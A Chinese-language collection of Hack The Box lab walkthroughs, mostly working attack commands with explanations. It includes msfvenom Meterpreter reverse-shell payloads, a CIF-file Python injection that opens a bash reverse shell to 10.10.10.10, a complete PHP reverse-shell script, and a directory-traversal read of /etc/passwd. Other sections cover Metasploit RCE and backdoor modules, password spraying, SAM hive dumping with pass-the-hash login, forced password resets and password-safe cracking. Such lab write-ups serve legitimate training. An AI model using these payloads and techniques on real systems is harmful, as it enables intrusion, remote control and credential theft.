---
# System prepended metadata

title: HTB總整理

---

# MSFvenom
## 建立反向連線程式檔
指令 192.168.43.242/192.168.43.128.
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Addr) LPORT=(Your Port) -f exe -o reverse.exe
```
這個指令的作用是創建一個 Windows 可執行文件（reverse.exe），當受害者執行該文件後，會嘗試連回設定的 IP 和端口，並建立 Meterpreter session，供攻擊者進行遠端操控。
* `msfvenom`:生成各種 payload 的工具
* `-p windows/meterpreter/reverse_tcp`:指定 payload 類型，表示使用 Meterpreter payload，透過 TCP 反向連線（reverse connection）的方式，連回到攻擊者的機器
* `LHOST=(IP Address)`:設定攻擊者的 IP 地址
* `LPORT=(Your Port)`:設定攻擊者的端口號碼
* `-f exe`:指定生成 payload 的格式為 Windows 可執行文件（.exe）
* `-o reverse.exe`:將生成的可執行文件保存為 reverse.exe

![1](https://hackmd.io/_uploads/SySXO0Kgle.png)


檢查檔案是否存在
![2](https://hackmd.io/_uploads/Hyyr_0Yxlg.png)




## 建立反向連線 Webshell 檔案
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Addr) LPORT=(Your Port) -f aspx 
```
![3](https://hackmd.io/_uploads/BJxw_0Yxge.png)


**差異分析**
1. `exe`格式（reverse.exe）:
* 這是一個 Windows 可執行文件。適合用於本地執行或社交工程攻擊，當目標用戶在其 Windows 系統上執行這個文件時，它會嘗試連接到指定的 LHOST 和 LPORT
* 適合用於直接控制 Windows 主機
2. `aspx`格式：
* 這是一個 ASP.NET 網頁文件，適合部署到目標 IIS 網頁伺服器上。如果目標伺服器允許上傳或執行 ASPX 文件，當這個文件被訪問時，它會嘗試反向連線到攻擊者機器
* 適合用於攻擊網頁伺服器，尤其是運行 ASP.NET 的 IIS 伺服器

## 設置SMBServer
```
impacket-smbserver -smb2support share ~/(路徑) -username (自訂) -password (自訂)
```
1. `impacket-smbserver`:impacket 是一個 Python 套件，包含了一組用於處理網路協定的工具。smbserver 是其中一個用於建立簡單 SMB 檔案分享伺服器的工具

2. `-smb2support` :這個選項表示啟用 SMBv2 協定支持。SMB（Server Message Block）協定主要用於網路檔案分享，而 SMBv2 相比於舊版的 SMBv1 具有更好的性能和安全性
3. `share`:這是設定的共享名稱。客戶端連接到這個 SMB 伺服器時會看到這個共享名稱，並可透過它來訪問伺服器上的文件。例如，你可以在 Windows 文件管理器中輸入 \\伺服器IP\share 來訪問這個共享

4. `~/` :指定共享的目錄路徑。在這裡，~/ 表示主目錄（即當前使用者的家目錄）。這意味著當客戶端訪問這個共享時，可以訪問伺服器上設置為共享的主目錄

5. `-username ****`:設定 SMB 伺服器的使用者名稱為 ****
6. `-password ****`:設定 SMB 伺服器的密碼為 ****

**檢查SMBserver是否打開**
```
 ps aux | grep smbserver
```
![4](https://hackmd.io/_uploads/SJVYuCYxgl.png)

* 有出現上面那行才是代表有開啟


## 掛載SMB檔案到本地(靶機)
在靶機上執行
```
net use U: \\192.168.43.242\share /u:(SMB帳號) (密碼)
```
![5](https://hackmd.io/_uploads/SkT9OAFlxl.png)


**這個指令的作用是在靶機上建立一個到攻擊者機器的 SMB 共享連接，將攻擊者機器上的 share 共享文件夾映射為靶機的 U: 磁碟。這樣靶機就可以像操作本地磁碟一樣，訪問攻擊者機器上的 share 共享文件夾中的所有文件**
1. `net use`: Windows 中用於管理網路驅動器、網路打印機和共享連接的命令。它可以用來掛載或移除網路共享
1. `U:`:本地電腦中要映射的磁碟代號。當這個命令成功執行後，靶機會將遠端共享映射為本地磁碟 U:，你可以像操作本地磁碟一樣訪問共享文件
1. `\\192.168.43.242\share`:
* `\\`雙反斜線表示連接到網路上的遠端共享
* 192.168.43.242:這是攻擊者機器的 IP 地址，表示遠端共享伺服器的位置
* `share`:這是攻擊者機器上共享的名稱，表示攻擊者機器上提供的共享目錄或文件夾。這個名稱必須與 impacket-smbserver 中設置的共享名稱一致
4. `/u:BBrain 3011`:連接到共享伺服器時所需的帳號、密碼

如果在靶機上有連不上的問題
檢查以下2點
1. **攻擊機與靶機ip是否於相同網段**
可以用此指令更改其中一台ip/網段
 `sudo ifconfig eth0 192.168.56.10 netmask 255.255.255.0 up
`
1. **檢查虛擬機網路模式**
在虛擬機設定中找到網路，再「附加到」選擇「橋接介面卡」或「Host-only 介面卡」，兩台機器要一致

**查看**
 透過指令`dir U:`
![6](https://hackmd.io/_uploads/r172O0Fxle.png)



或是直接點擊資料夾查看
![7](https://hackmd.io/_uploads/rkxAT_AYggx.png)
![8](https://hackmd.io/_uploads/BykyF0Kgge.png)


---
# Cicada
[參考](https://www.cnblogs.com/F12-blog/p/18464782)
[參考二](https://www.hyhforever.top/htb-cicada/)





## 連接VPN
```
sudo openvpn 
```
![9](https://hackmd.io/_uploads/r13IF0tlge.png)

* 成功啟用了 OpenVPN 連線
* 若要保持VPN持續連接，不要關閉這個終端機頁面，開啟其他終端機

## 掃描靶機
![10](https://hackmd.io/_uploads/HykdtCYlle.png)

* `-vvv`：啟用 非常詳細的輸出（verbose mode）
* 應該要看到有哪些port是打開的

**可能出現的問題**
1.在HTB上下載不同國家vpn
2.刪除多餘的vpn連線

## 查看SMB可用資源
1. `smbclient -L //10.10.11.35/ `是用於檢查特定伺服器上可用的 Samba 共享資源的指令
![11](https://hackmd.io/_uploads/SJYFtRFxeg.png)

* ` ADMIN$` 和 `C$`：
這些是 Windows 預設的管理員共享，通常只能由管理員帳號存取。
* ` DEV `和 `HR`：
這是伺服器上的兩個自訂共享資料夾，**可以嘗試進一步連接到這些資源**(下面步驟)。
* `IPC$`：
IPC（Inter-Process Communication），用於程序之間的通訊，通常是系統管理用途。
* `NETLOGON `和 `SYSVOL`：
這些是 Windows 網域控制器的共享，用於管理網域登入腳本和原則（GPO）。


2. `smbclient -N //10.10.11.35/HR `是用來連接位於 10.10.11.35 這台伺服器上名為 HR 的 Samba 共享資源



![12](https://hackmd.io/_uploads/HkGoFCKxxg.png)

* `-N` 代表不使用密碼進行認證，即匿名登入
* 將"Notice from HR.txt"下載下來

```
┌──(kali㉿kali)-[~]
└─$ cat "Notice from HR.txt"
```
* 查看文件，保存文件中的預設密碼`Cicada$M6Corpb*@Lp#nZp!8`

## 使用CrackMapExec進行帳號與RID枚舉
使用 CrackMapExec 對目標 10.10.11.35 伺服器進行 RID 掃描
```
┌──(kali㉿kali)-[~]
└─$ crackmapexec smb 10.10.11.35 -u "guest" -p "" --rid-brute  
```

![13](https://hackmd.io/_uploads/rJh3Y0txgl.png)


* RID 是標識每個帳號的唯一部分
> 498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: CICADA\Administrator (SidTypeUser)
501: CICADA\Guest (SidTypeUser)
* 透過使用預設帳戶guest爆破rid來探測存在的用戶名
* `CICADA-DC`：伺服器的網域名稱或主機名稱
* 像是這便有看到john、sarah、michael、david、emily這幾個使用者

**對伺服器進行多帳號的密碼測試**
```
crackmapexec smb 10.10.11.35 -u user.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
```
![14](https://hackmd.io/_uploads/HJe150tlex.png)


* user.txt存載著多著使用者的帳號
* 運作方式是將多個使用者帳號逐一嘗試登入，但每個帳號都使用同一組密碼（Cicada$M6Corpb*@Lp#nZp!8）
* 也稱為密碼噴灑（Password Spraying）
* `[+]`：這是一個成功登入的指標，其中的帳號與密碼通過了驗證



## 使用Enum4linux獲取詳細SMB協議資訊
**安裝enum4linux-ng**
這是一個用於從 Windows 和 Samba 伺服器中提取使用者、群組、共享、權限和其他系統資訊的工具
error:
![15](https://hackmd.io/_uploads/r16ecAYxxg.png)

* 由於 apt 進程（PID 40931）正在佔用鎖文件正在被其他進程佔用，導致你無法安裝 enum4linux-ng

* 檢查 apt 是否有其他進程正在執行
```
ps aux | grep apt
```
* 刪除進程
```
sudo kill -9 40931
```
---
```
enum4linux-ng -A -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' 10.10.11.35 -t 10
```
* 這個指令的目的是使用 michael.wrightson 帳號和密碼對 IP 10.10.11.35 上的 SMB 服務進行枚舉，嘗試收集伺服器上可用的資訊

![16](https://hackmd.io/_uploads/SJ9z90Felg.png)

* david的帳號密碼:`aRt$Lp#7t*VQ!3`

## 探索並下載SMB共享資源中的敏感數據
```
smbclient //10.10.11.35/DEV -U 'david.orelious'
```
* 使用 smbclient 工具來連接 SMB（Server Message Block）共享資源。目的是使用 david.orelious 帳號，對伺服器 10.10.11.35 上的 DEV 共享資源進行存取

![17](https://hackmd.io/_uploads/Bk3N9RYxgg.png)


---
查看檔案
![18](https://hackmd.io/_uploads/B1IL50Kgeg.png)

* 保存密碼:`Q!3@Lp#M6b*7t*Vt`

## 透過Evil-WinRM遠端連接Windows Server
```
evil-winrm -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' -i 10.10.11.35
```
* `evil-winrm`：這是一個專門用來連接 Windows 系統的工具，透過 WinRM 協議實現遠端管理
* 這個指令使用 Evil-WinRM 來連接到目標 Windows 伺服器（IP：10.10.11.35），並透過提供的帳號和密碼進入該系統的 Windows Remote Management (WinRM) 服務

**參數解析：**
* ` evil-winrm`：這是一個滲透測試工具，用來透過 WinRM（Windows Remote Management） 連接遠端 Windows 系統並執行命令。
* `-u emily.oscars`：指定使用者帳號為 emily.oscars，這個帳號需要具有權限來存取 WinRM 服務。
* ` -p 'Q!3@Lp#M6b*7t*Vt'`：指定該使用者的密碼。
* `-i 10.10.11.35`：目標伺服器的 IP 地址，也就是你要連接的 Windows 系統。

## 提權
查詢目前使用者權限
![19](https://hackmd.io/_uploads/BJAwcRYlxe.png)


創建新的資料夾
```
*Evil-WinRM* PS C:\> mkdir Temp
```
* make directory

存取並儲存登錄檔的 SAM 和 SYSTEM 檔案
```
*Evil-WinRM* PS C:\> reg save hklm\sam c:\Temp\sam
*Evil-WinRM* PS C:\> reg save hklm\system c:\Temp\system
```
* `reg save`：這個指令將登錄檔的資料儲存為檔案。
* `hklm\sam`：SAM（Security Account Manager）儲存了 Windows 系統中的使用者帳號和密碼雜湊。
* `hklm\system`：SYSTEM 登錄檔包含了系統設定，對解密 SAM 檔案中的密碼雜湊非常重要。
* 這兩個檔案的組合可以用來離線破解 Windows 使用者的密碼。

進入 Temp 資料夾
```
*Evil-WinRM* PS C:\> cd Temp
```
* 將工作目錄切換到 C:\Temp，這裡是剛剛將 sam 和 system 檔案儲存的位置

下載 SAM 和 SYSTEM 檔案到本地端
```
*Evil-WinRM* PS C:\Temp> download sam
*Evil-WinRM* PS C:\Temp> download system
```
* 你透過 Evil-WinRM 將 sam 和 system 檔案下載到你的本地電腦。
* 下載成功後，你可以使用 離線破解工具（如 Hashcat 或 John the Ripper） 來解密並破解 SAM 檔案中的使用者密碼


## 登入
pypykatz工具:提取 Windows 系統上使用者帳號和密碼雜湊
```
 pypykatz registry --sam sam system
```
![20](https://hackmd.io/_uploads/H1Utc0Flex.png)


登入
```
evil-winrm -i 10.10.11.35  -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```
* 使用 Evil-WinRM 工具來嘗試連接到目標 Windows 伺服器（cicada.htb）
* 以 Administrator 帳號進行身份驗證。這裡的密碼是通過 NT hash 提供的，而不是直接使用明文密碼

取得目標機器的最高權限
```
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
```
```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
```
```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
```





















---
# chemistry
**nmap -sV -p 22,5000 10.10.11.38**
* -p 22,5000：這裡指定了兩個端口（22 和 5000）來掃描。22 是 SSH 通信的標準端口，而 5000 常常用於各種應用程序（如 Flask Web 服務器）

![21](https://hackmd.io/_uploads/SJ_o9AYexe.png)

* 22 號端口提供 SSH 連線，允許遠端連線進行系統管理。
* 5000 號端口運行一個 Web 應用程式，可能涉及化學數據處理。此服務回傳的資訊讓我們知道它基於 Werkzeug 和 Python，並且是基於 HTTP 的應用服務。


這段代碼片段中的 _space_group_magn.transform_BNS_Pp_abc 欄位包含了潛在的惡意代碼注入，它利用了 Python 的內部機制來試圖執行操作系統命令
[revshells](https://www.revshells.com/)
```
_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.10.10/9001 0>&1\'");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "
```

---

```
netstat -nlp
```
* netstat -nlp 是一條在 Linux 系統中使用的指令，用來檢查當前系統上的網路連線狀態

```
curl --head http://127.0.0.1:8080
```
* 使用 curl 命令來檢查本機（127.0.0.1）的 8080 端口上是否有 HTTP 服務在運行

```
curl -s --path-as-is http://127.0.0.1:8080/assets/../../../../etc/passwd
```
* 這條 curl 指令試圖利用文件路徑中的相對路徑穿越（目錄遍歷）來訪問伺服器的敏感文件
* 目標文件：/etc/passwd
* assets：這是伺服器暴露出來的公共目錄，URL 中的相對路徑則試圖突破其限制，訪問系統的敏感文件

---
# perx
## **nmap掃描**
```
nmap -vvv -Pn 10.10.11.23
```
* 要出現`Initialization Sequence Completed`才代表VPN有連線成功(通常出現在倒數第4行)
* 偵測到 10.10.11.23 伺服器上開放的 22 (SSH) 和 80 (HTTP) 端口，還有一些被過濾的端口（如 2049、7002、8021 和 27355）

```
 nmap -sC -sV 10.10.11.23
```
* 使用 Nmap 的腳本掃描（-sC 或 --script vuln）來檢查已知的漏洞，特別是針對開放的 SSH 和 HTTP 服務
* 發現網站的潛在名稱`http://permx.htb`

## **尋找子網域**
```
 ffuf -w /usr/share/wordlists/subdomains-top1mil-20000.txt -u http://10.10.11.23 -H "Host: FUZZ.permx.htb" 
```
* 太多資料的要過濾一下
```
 ffuf -w /usr/share/wordlists/subdomains-top1mil-20000.txt -u http://10.10.11.23 -H "Host: FUZZ.permx.htb" -fw 18
```
*  只會顯示 Words 不是 18 的結果
* 找到subdomain of permx.htb about an online learning platform:`lms.permx.htb`

## **進入子網域尋找應用程式**
先將`10.10.11.23 lms.permx.htb`加入`/etc/hosts`
即可在瀏覽器搜尋`http://lms.permx.htb/`

發送一個 HTTP 請求 來獲取目標網站的 HTTP 標頭
```
curl -I http://lms.permx.htb
```
* 伺服器類型（例如 Server: Apache/2.4.52 (Ubuntu)）
* X-Powered-By 頭標中應用程序的框架或版本（例如 X-Powered-By: Chamilo 1）`-the flag`
* Cookie 設定（例如 Set-Cookie）
* 緩存控制（Cache-Control、Expires）
* 內容類型（Content-Type）

## **尋找Chamilo版本**
This suggests that the website is running Chamilo LMS version 1.x. However, the exact subversion (e.g., 1.11.28) is not specified in the headers

檢查`robots.txt`，發現`/documentation/`

## **尋找CVE**
根據chiamilo的版本、RCE、XSS這幾個關鍵字

## **CVE漏洞利用**
因為已經到到CVE版本了
所以可以直接去網路上找[exploit](https://github.com/Ziad-Sakr/Chamilo-CVE-2023-4220-Exploit/tree/main)
這個github只有提供 CVE-2023-4220. sh，沒有提供reverseshell.php

執行` ./CVE-2023-4220.sh -f reverseshell.php -h http://lms.permx.htb -p 4444`

1. CVE-2023-4220.sh是一個利用腳本
* 自動化上傳：該腳本接受多個參數，包括目標URL、端口、攻擊者的IP地址等，並自動執行文件上傳過程。
* 執行特定payload：根據提供的參數，腳本可以上傳不同類型的payload（例如反向Shell），以便於在成功上傳後執行。

2. reverse_file的功能
* 遠程代碼執行（RCE）：這個文件通常包含可以在伺服器上執行的代碼，例如反向Shell，允許攻擊者通過HTTP請求來控制伺服器。
* 命令執行：攻擊者可以通過該文件執行任意命令，從而獲取系統信息、下載其他惡意軟件或進一步擴展攻擊。

以下是 PHP 反向 Shell 腳本的範例：
```
<?php
$ip = 'YOUR_IP_ADDRESS'; // 替換為你的IP地址
$port = YOUR_PORT;       // 替換為你想使用的端口

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
    die("socket_create() failed: " . socket_strerror(socket_last_error()) . "\n");
}

$result = socket_connect($socket, $ip, $port);
if ($result === false) {
    die("socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket)) . "\n");
}

$cmd = "/bin/sh -i";
socket_write($socket, $cmd, strlen($cmd));

while ($read = socket_read($socket, 2048)) {
    $output = shell_exec($read);
    socket_write($socket, $output, strlen($output));
}

socket_close($socket);
?>

```
---

# monitorsthree
拉取字典檔
```
sudo wget https://raw.githubusercontent.com/theMiddleBlue/DNSenum/master/wordlist/subdomains-top1mil-20000.txt
```


ffuf
```
ffuf -u http://monitorsthree.htb -H "HOST:FUZZ.monitorsthree.htb" -w /usr/share/wordlists/subdomains-top1mil-20000.txt
```
* Status: 200：HTTP 狀態碼。200 代表請求成功，表示該子域名存在並回應正常。
* Size: 13560：回應的大小（位元組數）。13560 表示回應的總字節數量。
* Words: 3598：回應中包含的字數。
* Lines: 338：回應中包含的行數。
* Duration: 209ms：請求完成所需的時間（毫秒），即等待伺服器回應的延遲時間。
> -fw 3598：fw 代表 Filter Words，意思是過濾掉所有字數為 3598 的回應。當 ffuf 遇到回應字數為 3598 的結果時，這些回應會被忽略，僅顯示不符合此條件的結果

msfconsole
```
use multi/http/cacti_package_import_rce
```
> set USERNAME admin
> set PASSWORD greencacti2001
> set LHOST 10.10.14.13
> set RHOSTS http://cacti.monitorsthree.htb
> exploit




python pty 
```
python3 -c "import pty; pty.spawn('/bin/bash')"
```

kali 字典檔路徑
```
/usr/share/wordlists
```
---
# administrator

## 偵查
**nmap**

**ftp**

**使用 CrackMapExec 工具來操作 SMB 協議**
`crackmapexec smb 10.10.11.42 -u 'olivia' -p 'ichliebedich' --shares`
* ` --shares`:列出目標機器上可用的共享資料夾

**使用(CME) 來測試並連接目標主機的 WinRM (Windows Remote Management) 服務**
`crackmapexec winrm 10.10.11.42 -u 'olivia' -p 'ichliebedich' `

## 連線
**用Evil-WinRM來連接目標主機的WinRM服務**
`evil-winrm -i 10.10.11.42 -u 'olivia' -p 'ichliebedich' `

**顯示當前用戶的特權（Privileges）**
`*Evil-WinRM* PS C:\Users\olivia\Documents> whoami /priv`

* 特權
1. SeMachineAccountPrivilege
1. SeChangeNotifyPrivilege 
1. SeIncreaseWorkingSetPrivilege

**當前用戶（olivia）的完整信息**
`*Evil-WinRM* PS C:\Users\olivia\Documents> whoami /all`
1. 用戶信息 (User Information)
2. 群組信息 (Group Information)
3. 特權信息 (Privileges Information)
4. 用戶聲明信息 (User Claims Information)
5. Kerberos 支持 (Kerberos Support)

**列出 Windows 系統上的所有用戶帳戶**
`*Evil-WinRM* PS C:\Users\olivia\Documents> net user`


## Active Directory (AD)權限提升
**收集AD 權限和用戶有關資訊**
`bloodhound-python -d administrator.htb -ns 10.10.11.42 -u olivia -p ichliebedich -c All --zip`
* 使用 bloodhound-python 來對 administrator.htb 域進行分析
* 分析結果會被打包為 .zip 文件

**上傳zip檔案到bloodhound**
![22](https://hackmd.io/_uploads/H1Ppc0Yllx.png)


**與主機的 RPC 服務進行交互**
`rpcclient -U michael 10.10.11.42`
* rpcclient 是一個用於與 Windows 計算機上的 RPC（Remote Procedure Call）服務交互的工具
* `setuserinfo2 benjamin 23 'benjamin'`:將 benjamin 用戶的密碼更改為 benjamin


**連線FTP**
`ftp 10.10.11.42`
username:benjamin/ password:benjamin

`ftp> get Backup.psafe3`
* FTP 伺服器下載文件 Backup.psafe3 到本地機器

**破解password safe**
1. 確認 john 支援 pwsafe 格式
`john --list=formats`
1. 使用 pwsafe2john 來轉換 .pwsafe 檔案
`pwsafe2john Backup.psafe3 > pwsafe.hash`
1. 使用john搭配字典檔破解
`john --wordlist=/usr/share/wordlists/rockyou.txt pwsafe.hash`
* 密碼是 tekieromucho，
* 帳戶名稱是 Backu

---

# Greenhorn
## Task1
> How many TCP ports are listening on Greenhorn?
```
nmap -vvv -Pn 10.10.11.25
```
![23](https://hackmd.io/_uploads/rkxJiRYgeg.png)

## Taks2
> What content management system (CMS) and version powers the website on TCP 80?
> TCP 80 上的網站採用什麼內容管理系統 (CMS) 和版本？

修改etc/host
```
sudo nano /etc/hosts
```
```
10.10.11.25    greenhorn.htb
```
上述兩個的快捷鍵
```
sudo echo "10.10.11.25 greenhorn.htb" | sudo tee -a /etc/hosts
```
進入網站後，按右鍵點選`View Page Source`
![24](https://hackmd.io/_uploads/SybboAYeeg.png)

* Pluck 是一款簡單的網站內容管理系統（CMS），它允許使用者創建和管理網站

## Task3
> Where does pluck save its admin hash? Give the answer relative to the root of the Pluck instance.
> pluck 在哪裡保存其管理hash值？給出相對於 Pluck 實例的根的答案。

進入這個網站(http://10.10.11.25:3000/)
查看login.php

![25](https://hackmd.io/_uploads/Sk2GiCYlee.png)


* 密碼驗證方式

![26](https://hackmd.io/_uploads/rJVEs0Fxgl.png)

* 密碼通過`SHA512`雜湊

在`http://10.10.11.25:3000/GreenAdmin/GreenHorn/src/branch/main/data/settings/pass.php`找到psss.php
![27](https://hackmd.io/_uploads/rkaBjCFegx.png)


* 與login.php中`$ww`吻合
## Task4
> What is the admin password for this Pluck instance?
> 此 Pluck 實例的管理員密碼是什麼？
> 
根據上述，我們找到一串經過雜湊過的密碼
我們也知道密碼是經過SHA512雜湊的
去找找看[彩虹表](https://hashes.com/en/decrypt/hash)

![28](https://hackmd.io/_uploads/BJLPsRtlgg.png)

* password:`iloveyou1`

## **Task5**
> What system user on Greenhorn is the Pluck instance running as?
> Pluck 實例以 Greenhorn 上的哪個系統使用者身分運作？

根據CMS的版本(pluck 4.7.18)搜尋CVE漏洞的Poc
[Github](https://github.com/Rai2en/CVE-2023-50564_Pluck-v4.7.18_PoC)

## CVE-2023-50564 Detail
漏洞概述
---
漏洞類型：遠端程式碼執行（RCE）
影響版本：Pluck CMS 4.7.18
發現時間：2024年4月
組件：/inc/modules_install.php

**描述**
---
Pluck-CMS v4.7.18 元件 /inc/modules_install.php 中存在後台文件上傳功能的設計缺陷，允許攻擊者透過上傳有攻擊性的 ZIP 檔案來取得RCE。

**pluck 簡介**
---
Pluck CMS 是一款輕量的內容管理系統（CMS），主要用於簡化小型網站的內容建立、管理和維護。可以透過 `http://yourdomain.com/admin` 存取後台管理介面
開發語言:PHP


---


# Lame
### 用nmap 掃描遠端主機的 Top 1000 個 TCP ports
```
nmap -Pn 10.10.10.3 -p- --top-ports 1000
```

### 查詢 VSFTPD（Very Secure FTP Daemon）版本
```
sudo nmap -sV -p 21 10.10.10.3 
```

### 用metasploit查詢模組
```
search vsftpd
```
得到
```
exploit/unix/ftp/vsftpd_234_backdoor
```
利用該模組
```
use exploit/unix/ftp/vsftpd_234_backdoor
```
設定目標IP
```
set RHOSTS 10.10.10.3
```
執行
```
run
```
### 查詢 Samba 版本
* 通常是 TCP 139 和 445
```
nmap -sV -p 139,445 10.10.10.3  
```
輸出結果
```
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
```
* 沒有完整的版本號碼
* 將指令增加 `-A` : 更強的版本偵測選項

```
nmap -A -p 139,445 10.10.10.3 
```




